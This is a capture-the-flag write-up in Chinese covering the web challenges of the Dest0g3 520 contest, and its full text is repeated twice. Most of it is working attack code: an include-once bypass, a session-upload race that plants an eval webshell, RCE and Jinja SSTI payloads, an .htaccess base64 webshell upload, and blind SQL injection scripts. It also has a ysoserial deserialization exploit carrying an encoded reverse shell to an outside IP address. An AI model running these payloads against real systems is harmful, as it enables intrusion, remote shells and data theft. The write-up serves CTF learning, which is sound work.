[Dest0g3 520迎新赛] Web部分wp
phpdest
文件竞争
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}
PHP 最新版的小 Trick,require_once 包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含
payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台 (anquanke.com)
也可以通过seesion文件包含
import requests
import io
import threading
url = ":81/"
sessionID = "flag"
data = {"cmd": "system('cat flag.php');"}
def write(session):while True:f = io.BytesIO(b'a'*1024*50)resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID})
def read(session):while True:resp = session.post(url=':81/?file=/tmp/sess_flag',data=data)if 'flag.txt' in resp.text:print(resp.text)event.clear()else:print("=========retry==========")
if __name__ == "__main__":event = threading.Event()with requests.session() as session:for i in range(1,5):threading.Thread(target=write, args=(session,)).start()for i in range(1,5):threading.Thread(target=read, args=(session,)).start()event.set()
EasyPHP
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){echo $fl4g;
}else{echo "Try harder!";
}
set_error_handler(function() use(&$fl4g) {print $fl4g;}
);
$fl4g .= $dest0g3;
?> Try harder!
设置了一个错误处理函数,只需要让他报错就能输出flag,这里用数组绕过即可
payload:
ctf[]=123
SimpleRCE
法一
hex2bin 绕过,大部分读取文件函数都过滤了,后来测试出一个head
aaa=hex2bin('73797374656d')('head /f*');
法二
取反绕过
<?phpfwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
payload
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
EasySSTI
过滤的很死所以肯定要用set构造了,较以往过滤这里多过滤了空格和点,但后来发现该题的检测方式是只对payload传入的内容进行检测,所以过滤空格话可以用%0a代替,剩下的就是随着报错随着构造了。
{%%0aset%0apo=dict(po=a,p=a)|join%}
{%%0aset%0axiahuaxian=(lipsum|string|list)|attr(po)(18)%0a%}
{%%0aset%0agb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0aget=dict(get=a)|join%}{%%0aset%0ao=dict(o=a,s=a)|join%0a%}
{%%0aset%0apo=dict(po=a,pen=a)|join%}
{%%0aset%0acat=dict(cat=a)|join%}
{%%0aset%0aid=dict(index=a)|join%}
{%%0aset%0abin=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0acr=dict(ch=a,r=a)|join%}
{%%0aset%0achr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr)%0a%}
{%%0aset%0axiegang=chr(47)%}
{%%0aset%0ard=dict(re=a,ad=a)|join%}
{%%0aset%0aspace=chr(32)%0a%}
{%%0aset%0ashell=(cat,space,xiegang,dict(flag=a)|join)|join%0a%}{%print(lipsum|attr(gb)|attr(get)(o)|attr(po)(shell)|attr(rd)())%}
funny_upload
对文件类型进行了检测,改为jpg文件后,又对文件内容进行了检测不能有<?,所以采用了base64结合.htaccess伪协议的方式进行绕过
1.jpg
PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+
.htaccess
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg
上传.htaccess时还有个mime类型检测,上传成功后蚁剑链接即可
Really Easy SQL
hint黑名单:
$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');
查看源码发现是个钓鱼网站,输入什么都是没有回显的,所以就要尝试时间盲注,但过滤了sleep()
,可以用benchmark(1000000,md5(1))代替,过滤空格用%0a或者括号都可
经测试延时在2秒左右
poc
import requests
import time
url=":81/"
flag=''
for i in range(1,50):m=32n=127while 1:mid=(m+n)//2#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #flaggg,user#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #cmdpayload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid)data={'username': 'a','password': payload}print(data)try:r = requests.post(url=url,data=data,timeout=1.5)m=midexcept:n=midif(m+1==n):flag+=chr(m)print(flag)breaktime.sleep(0.2)time.sleep(1)
easysql
比上题多过滤了大小于号,所以用=代替,但是等号代替后应该就不能用二分法了,所以这里逆向的逐个遍历(因为大部分字符 都ascii码都在100左右,所以从128开始应该能快一些)
timeout用的是1.8,因为benchmark有较大的误差,所以对时间的设置上比较严格,最后time.sleep
也是为了减小误差
import requests
import time
url=":81/"
flag=''
for i in range(1,50):a=0for j in range(128,32,-1):#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmdpayload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)data={'username': 'a','password': payload}print(data)try:r = requests.post(url=url,data=data,timeout=1.8)except:flag+=chr(j)print(flag)breakif(j==33):a=1time.sleep(0.5)if(a==1):print(flag)breaktime.sleep(1)
EzSerial
弱类型账号密码admin,打开后可以看到是个jsp写的站,就考虑到java反序列化
抓包后可以看到user处是base64加密后的序列化文件,所以猜测这里就是序列化入口
经测试CC5/CC6都能打通,/,进行反弹shell编码
编好后直接用ysoserial打就行,这里用的是CC5的
java -jar ysoserial-0.0.5.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}" > 1.txt
得到字节码文件后进行下base64编码
传参成功反弹shell
也可以用脚本打
from urllib.parse import quote
import requests
import os
import base64
import time# payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
payloads = ['CommonsCollections5']for payload in payloads:command = os.popen('java -jar ysoserial-0.0.5.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}" > ' + payload + '.txt')command.close()cmd = os.popen('certutil -f -encode ' + payload + '.txt ' + payload + '_encode.txt')cmd.close()# result = result.replace('\n','')with open(payload + '_encode.txt', 'r') as f:ff = f.read()ff = ff.replace('\n', '')ff = ff.replace('-----BEGIN CERTIFICATE-----', '')ff = ff.replace('-----END CERTIFICATE-----', '')print(payload + '\n')cookies = {'JSESSIONID': '0D68982C79D25AFCC0CC7C8137C8FB1D', 'user': ff}rep = requests.get(url=":81/admin/", cookies=cookies)# time.sleep(2)print(rep.text)
[Dest0g3 520迎新赛] Web部分wp
phpdest
文件竞争
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}
PHP 最新版的小 Trick,require_once 包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含
payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台 (anquanke.com)
也可以通过seesion文件包含
import requests
import io
import threading
url = ":81/"
sessionID = "flag"
data = {"cmd": "system('cat flag.php');"}
def write(session):while True:f = io.BytesIO(b'a'*1024*50)resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID})
def read(session):while True:resp = session.post(url=':81/?file=/tmp/sess_flag',data=data)if 'flag.txt' in resp.text:print(resp.text)event.clear()else:print("=========retry==========")
if __name__ == "__main__":event = threading.Event()with requests.session() as session:for i in range(1,5):threading.Thread(target=write, args=(session,)).start()for i in range(1,5):threading.Thread(target=read, args=(session,)).start()event.set()
EasyPHP
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){echo $fl4g;
}else{echo "Try harder!";
}
set_error_handler(function() use(&$fl4g) {print $fl4g;}
);
$fl4g .= $dest0g3;
?> Try harder!
设置了一个错误处理函数,只需要让他报错就能输出flag,这里用数组绕过即可
payload:
ctf[]=123
SimpleRCE
法一
hex2bin 绕过,大部分读取文件函数都过滤了,后来测试出一个head
aaa=hex2bin('73797374656d')('head /f*');
法二
取反绕过
<?phpfwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
payload
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
EasySSTI
过滤的很死所以肯定要用set构造了,较以往过滤这里多过滤了空格和点,但后来发现该题的检测方式是只对payload传入的内容进行检测,所以过滤空格话可以用%0a代替,剩下的就是随着报错随着构造了。
{%%0aset%0apo=dict(po=a,p=a)|join%}
{%%0aset%0axiahuaxian=(lipsum|string|list)|attr(po)(18)%0a%}
{%%0aset%0agb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0aget=dict(get=a)|join%}{%%0aset%0ao=dict(o=a,s=a)|join%0a%}
{%%0aset%0apo=dict(po=a,pen=a)|join%}
{%%0aset%0acat=dict(cat=a)|join%}
{%%0aset%0aid=dict(index=a)|join%}
{%%0aset%0abin=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0acr=dict(ch=a,r=a)|join%}
{%%0aset%0achr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr)%0a%}
{%%0aset%0axiegang=chr(47)%}
{%%0aset%0ard=dict(re=a,ad=a)|join%}
{%%0aset%0aspace=chr(32)%0a%}
{%%0aset%0ashell=(cat,space,xiegang,dict(flag=a)|join)|join%0a%}{%print(lipsum|attr(gb)|attr(get)(o)|attr(po)(shell)|attr(rd)())%}
funny_upload
对文件类型进行了检测,改为jpg文件后,又对文件内容进行了检测不能有<?,所以采用了base64结合.htaccess伪协议的方式进行绕过
1.jpg
PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+
.htaccess
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg
上传.htaccess时还有个mime类型检测,上传成功后蚁剑链接即可
Really Easy SQL
hint黑名单:
$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');
查看源码发现是个钓鱼网站,输入什么都是没有回显的,所以就要尝试时间盲注,但过滤了sleep()
,可以用benchmark(1000000,md5(1))代替,过滤空格用%0a或者括号都可
经测试延时在2秒左右
poc
import requests
import time
url=":81/"
flag=''
for i in range(1,50):m=32n=127while 1:mid=(m+n)//2#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #flaggg,user#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #cmdpayload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid)data={'username': 'a','password': payload}print(data)try:r = requests.post(url=url,data=data,timeout=1.5)m=midexcept:n=midif(m+1==n):flag+=chr(m)print(flag)breaktime.sleep(0.2)time.sleep(1)
easysql
比上题多过滤了大小于号,所以用=代替,但是等号代替后应该就不能用二分法了,所以这里逆向的逐个遍历(因为大部分字符 都ascii码都在100左右,所以从128开始应该能快一些)
timeout用的是1.8,因为benchmark有较大的误差,所以对时间的设置上比较严格,最后time.sleep
也是为了减小误差
import requests
import time
url=":81/"
flag=''
for i in range(1,50):a=0for j in range(128,32,-1):#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmdpayload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)data={'username': 'a','password': payload}print(data)try:r = requests.post(url=url,data=data,timeout=1.8)except:flag+=chr(j)print(flag)breakif(j==33):a=1time.sleep(0.5)if(a==1):print(flag)breaktime.sleep(1)
EzSerial
弱类型账号密码admin,打开后可以看到是个jsp写的站,就考虑到java反序列化
抓包后可以看到user处是base64加密后的序列化文件,所以猜测这里就是序列化入口
经测试CC5/CC6都能打通,/,进行反弹shell编码
编好后直接用ysoserial打就行,这里用的是CC5的
java -jar ysoserial-0.0.5.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}" > 1.txt
得到字节码文件后进行下base64编码
传参成功反弹shell
也可以用脚本打
from urllib.parse import quote
import requests
import os
import base64
import time# payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
payloads = ['CommonsCollections5']for payload in payloads:command = os.popen('java -jar ysoserial-0.0.5.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}" > ' + payload + '.txt')command.close()cmd = os.popen('certutil -f -encode ' + payload + '.txt ' + payload + '_encode.txt')cmd.close()# result = result.replace('\n','')with open(payload + '_encode.txt', 'r') as f:ff = f.read()ff = ff.replace('\n', '')ff = ff.replace('-----BEGIN CERTIFICATE-----', '')ff = ff.replace('-----END CERTIFICATE-----', '')print(payload + '\n')cookies = {'JSESSIONID': '0D68982C79D25AFCC0CC7C8137C8FB1D', 'user': ff}rep = requests.get(url=":81/admin/", cookies=cookies)# time.sleep(2)print(rep.text)